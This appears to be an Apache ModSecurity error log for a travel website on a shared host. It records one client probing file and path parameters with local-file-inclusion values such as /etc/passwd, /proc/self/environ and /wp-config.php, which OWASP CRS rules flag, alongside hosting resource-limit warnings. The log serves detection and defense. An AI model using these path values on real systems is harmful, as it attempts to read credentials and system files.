[Fri Jul 17 08:55:54.039726 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:file: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwlCBpfuYyhJ140vS2gAAAB4"]
[Fri Jul 17 08:55:54.040304 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwlCBpfuYyhJ140vS2gAAAB4"]
[Fri Jul 17 08:55:54.040409 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.040696 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwlCBpfuYyhJ140vS2gAAAB4"]
[Fri Jul 17 08:55:54.041164 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.041990 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:file: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwkgVnBK6wAv37w6sjwAAABQ"]
[Fri Jul 17 08:55:54.042094 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:file: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwkgVnBK6wAv37w6sjwAAABQ"]
[Fri Jul 17 08:55:54.042478 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwkgVnBK6wAv37w6sjwAAABQ"]
[Fri Jul 17 08:55:54.042570 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.042820 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwkgVnBK6wAv37w6sjwAAABQ"]
[Fri Jul 17 08:55:54.050425 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:file: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwlh1WDijTxd1xw5MqAAAAAc"]
[Fri Jul 17 08:55:54.051340 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwlh1WDijTxd1xw5MqAAAAAc"]
[Fri Jul 17 08:55:54.051475 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.051887 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwlh1WDijTxd1xw5MqAAAAAc"]
[Fri Jul 17 08:55:54.062247 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.068843 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.073977 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:54.075747 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.076955 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.078896 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.084921 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgu-1pLmPpy2r_2CxfhQAAAA8"]
[Fri Jul 17 08:55:54.084967 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgu-1pLmPpy2r_2CxfhQAAAA8"]
[Fri Jul 17 08:55:54.100945 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.114877 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:path: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwkgVnBK6wAv37w6skQAAABQ"]
[Fri Jul 17 08:55:54.115374 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwkgVnBK6wAv37w6skQAAABQ"]
[Fri Jul 17 08:55:54.115495 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.115775 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwkgVnBK6wAv37w6skQAAABQ"]
[Fri Jul 17 08:55:54.117257 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:path: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwvwooI4qY7Jg93pVtAAAABM"]
[Fri Jul 17 08:55:54.117898 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwvwooI4qY7Jg93pVtAAAABM"]
[Fri Jul 17 08:55:54.118022 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.118348 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwvwooI4qY7Jg93pVtAAAABM"]
[Fri Jul 17 08:55:54.121818 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:path: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwlCBpfuYyhJ140vS3AAAAB4"]
[Fri Jul 17 08:55:54.121937 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:path: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwlCBpfuYyhJ140vS3AAAAB4"]
[Fri Jul 17 08:55:54.122434 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwlCBpfuYyhJ140vS3AAAAB4"]
[Fri Jul 17 08:55:54.122579 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.122904 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwlCBpfuYyhJ140vS3AAAAB4"]
[Fri Jul 17 08:55:54.124136 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:path: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwol9vhFBGA6D8l96MwAAAAw"]
[Fri Jul 17 08:55:54.124246 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:path: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwol9vhFBGA6D8l96MwAAAAw"]
[Fri Jul 17 08:55:54.124779 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwol9vhFBGA6D8l96MwAAAAw"]
[Fri Jul 17 08:55:54.124925 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.125921 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:path: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwu1pLmPpy2r_2CxfhgAAAA8"]
[Fri Jul 17 08:55:54.126037 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:path: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwu1pLmPpy2r_2CxfhgAAAA8"]
[Fri Jul 17 08:55:54.126604 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwu1pLmPpy2r_2CxfhgAAAA8"]
[Fri Jul 17 08:55:54.126722 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwol9vhFBGA6D8l96MwAAAAw"]
[Fri Jul 17 08:55:54.126741 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.127014 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwu1pLmPpy2r_2CxfhgAAAA8"]
[Fri Jul 17 08:55:54.128121 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:path: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwroj0IkvhSCYadmB6AAAAAQ"]
